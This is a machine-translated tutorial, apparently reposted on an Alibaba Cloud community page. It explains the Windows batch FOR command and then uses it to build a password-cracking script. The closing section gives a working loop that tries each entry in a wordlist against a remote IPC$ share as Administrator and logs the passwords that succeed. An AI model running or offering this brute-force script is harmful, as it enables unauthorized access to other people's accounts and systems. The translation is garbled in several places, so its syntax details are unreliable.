DOS batch-crack remote password

Source: Internet
Author: User
Tags eol

First look at the use of the For loop

Executes a specific command for each file in a set of files.

For%variable in (set) do command [Command-parameters]

%variable specifies a single-letter replaceable parameter.
(set) specifies one or a set of files. Wildcard characters can be used.
command specifies the commands to execute on each file.
Command-parameters
Specify parameters or command-line switches for specific commands.

When using the for command in a batch file, specify the variable using the%%variable
And don't use%variable. Variable names are case-sensitive, so%i differs from%i.

If the command extension is enabled, the following additional for command formats are
Support:

FOR/D%variable in (set) do command [Command-parameters]

If a wildcard is included in the set, the specified match to the directory name and not to the file
Name matches.

FOR/R [[Drive:]path]%variable in (set) do command [Command-parameters]

Check the directory tree with [Drive:]path Root], pointing to each directory
For statement. If no directory is specified after/R, use the current
Directory. If the set is only a single point (.) character, the directory tree is enumerated.

FOR/L%variable in (start,step,end) do command [Command-parameters]

The set represents a sequence of numbers in increments from start to finish.
Therefore, (1,1,5) will produce sequence 1 2 3 4 5, (5,-1,1) will produce
Sequence (5 4 3 2 1).

for/f ["Options"]%variable in (file-set) do command [Command-parameters]
for/f ["Options"]%variable in ("string") do command [Command-parameters]
for/f ["Options"]%variable in (' Command ') do command [Command-parameters]

Or, if you have the USEBACKQ option:

for/f ["Options"]%variable in (file-set) do command [Command-parameters]
for/f ["Options"]%variable in ("string") do command [Command-parameters]
for/f ["Options"]%variable in (' Command ') do command [Command-parameters]

FileNameSet is one or more file names. Continue to the filenameset.
Before the next file, each file has been opened, read, and processed.
Processing involves reading a file, dividing it into lines of text, and then each line
Parse to 0 or more symbols. Then use the found symbol string variable value
Call the For loop. By default,/F is separated by each line in each file
The first blank symbol. Skips a blank line. You can specify an optional "options" by specifying
Parameter overrides the default resolution operation. This quoted string consists of one or more
Specifies the keywords for the different parsing options. These keywords are:

Eol=c-refers to the end of a line comment character (just one)
Skip=n-refers to the number of rows that are ignored at the beginning of the file.
Delims=xxx-refers to the delimiter set. This replaces the space and the jump bar
The default delimiter set.
Tokens=x,y,m-n-Indicates which symbol per line is passed to each iteration
For itself. This causes the allocation of additional variable names. M-n
The format is a range. Specify MTH with the nth symbol. If
The last character in the symbol string, the asterisk number,
Then the extra variable will be parsed after the last symbol
Assigns and accepts the retained text of a row.
USEBACKQ-Specifies that the new syntax is used in the following class situation:
A string that executes a post quote as a command and a single
The quote character is a literal string command and allows the FileNameSet
Use double quotation marks to expand the file name.

Some examples may help:

For/f "eol=; tokens=2,3* delims=, "%i in (myfile.txt) do @echo%i%j%k

Each row in the myfile.txt is parsed, ignoring those lines that begin with a semicolon,
The second and third symbols in each row are passed to the for program body, with commas and/or
Space-bound symbol. Note that the statement for the body of the For program references%i to
Get the second symbol, reference%j to get a third symbol, reference%k
To get all the remaining symbols after the third symbol. For files with spaces
Name, you need to enclose the file name in double quotation marks. In order to use this method to make
With double quotes, you also need to use the USEBACKQ option, otherwise, double quotes will
is understood to be used to define a string to parse.

%i is specifically described in the For statement,%j and%k are provided by
The tokens= options are specifically described. You can tokens= a line by
Specify a maximum of 26 symbols, as long as you do not attempt to describe a higher than the letter ' Z ' or
The variable of ' Z '. Keep in mind that the for variable is single-letter, case-sensitive, and global;
At the same time not more than 52 are in use.

You can also use for/f parsing logic on adjacent strings, by
Enclose the filenameset between parentheses in single quotation marks. This way, the character
The string is treated as a single input line in a file.

Finally, you can use the for/f command to parse the output of the command. The method is to
The filenameset between parentheses becomes an anti-enclosing string. The string is
is treated as a command line, passed to a sub-CMD. EXE, its output will be caught in
Memory and is parsed as a file. Therefore, the following example:

for/f "Usebackq delims=="%i in (' Set ') do @echo%i

Enumerates the environment variable names in the current environment.

In addition, the substitution of the for variable reference has been enhanced. You can now use the following
Option syntax:

~i-Remove any quotation marks ("), expand%I
%~fi-Will%I Extend to a fully qualified path name
%~di-will only%I Extend to a drive letter
%~PI-will only%I Extend to a path
%~ni-will only%I Extend to a file name
%~xi-will only%I Expand to a file name extension
%~si-The expanded path contains only short names
%~ai-Will%I File attributes to expand to a file
%~ti-Will%I Date/time of extension to file
%~zi-Will%I Expand to File Size
%~ $PATH: I-Find the directory that is listed in the PATH environment variable and%I Expand
To the first fully qualified name found. If the environment variable name
is not defined, or the file is not found, the key combination is expanded to
Empty string

You can combine modifiers to get multiple results:

%~DPI-will only%I Expand to a drive letter and path
%~nxi-will only%I Expand to a file name and extension
%~FSI-will only%I Extend to a full pathname with a short name
%~DP$PATH:I-finds the directory that is listed in the PATH environment variable and will%I Expand
To the first drive letter and path found.
%~ftzai-Will%I Extended to DIR with similar output line

In the above example,%I And PATH can be replaced by other valid values. %~ syntax
Terminates with a valid for variable name. Choose similar%I The uppercase variable name
Easier to read and avoid confusion with key combinations that are not case-sensitive.

The following is used for opening a file that outputs its contents:

@echo off
Pause
for/f%%i in (dic.txt) do echo%%i
Pause

The following net USE command establishes an IPC connection.

@echo off
REM for/f i%% in (dic.txt) does net use \\192.168.131.210\ipc$ "i%%"/U: "Administrator" |find ": Command completed successfully" >>g:/ok.txt


for/f%%i in (dic.txt) does net use \\192.168.131.210\ipc$ "%%i"/U: "Administrator" |find ": Command completed successfully" >>f:\ipchange\pj\o K.txt

This completes the process of establishing an IPC connection-Test login password-login success-record password.

DOS batch-crack remote password

Contact Us

The content source of this page is from Internet, which doesn't represent Alibaba Cloud's opinion; products and services mentioned on that page don't have any relationship with Alibaba Cloud. If the content of the page makes you feel confusing, please write us an email, we will handle the problem within 5 days after receiving your email.

If you find any instances of plagiarism from the community, please send an email to: info-contact@alibabacloud.com and provide relevant evidence. A staff member will contact you within 5 working days.

A Free Trial That Lets You Build Big!

Start building with 50+ products and up to 12 months usage for Elastic Compute Service

  • Sales Support

    1 on 1 presale consultation

  • After-Sales Support

    24/7 Technical Support 6 Free Tickets per Quarter Faster Response

  • Alibaba Cloud offers highly flexible support services tailored to meet your exact needs.